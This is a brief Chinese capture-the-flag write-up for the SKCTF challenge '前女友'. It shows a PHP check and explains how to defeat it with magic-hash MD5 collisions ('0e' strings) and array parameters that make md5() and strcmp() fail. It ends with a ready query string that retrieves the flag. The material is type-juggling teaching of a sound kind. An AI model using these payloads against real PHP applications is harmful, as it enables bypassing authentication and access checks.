前女友(SKCTF)

打开源代码,出现code.txt

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
  • isset()函数用于检测变量是否已设置并且非NULL.
  • strcmp() 函数比较两个字符串.
    如果两个字符串相等,返回0
    如果 string1 小于 string2,返回<0
    如果 string1 大于 string2,返回>0

根据v2 && md5(v2):

  • 姿势1:v1,v2 找到两个开头为0的md5值,例如:v1=s878926199a&&v2=s155964671a
  • 姿势2:根据md5函数特性,用两个值不同但不可md5的数据类型,例如:
    v1[]=1&&v2[]=2

根据 if(!strcmp(flag))
需要v3和flag值相同才返回flag的值。此处依旧利用函数特性,strcmp函数如果出错,其返回也是0,不可比较时出错,传入数组,例如:
v3[]=8.

综上,构造:
?v1=s878926199a&&v2=s155964671a&&v3[]=8
可得到flag

你可能感兴趣的:(前女友(SKCTF))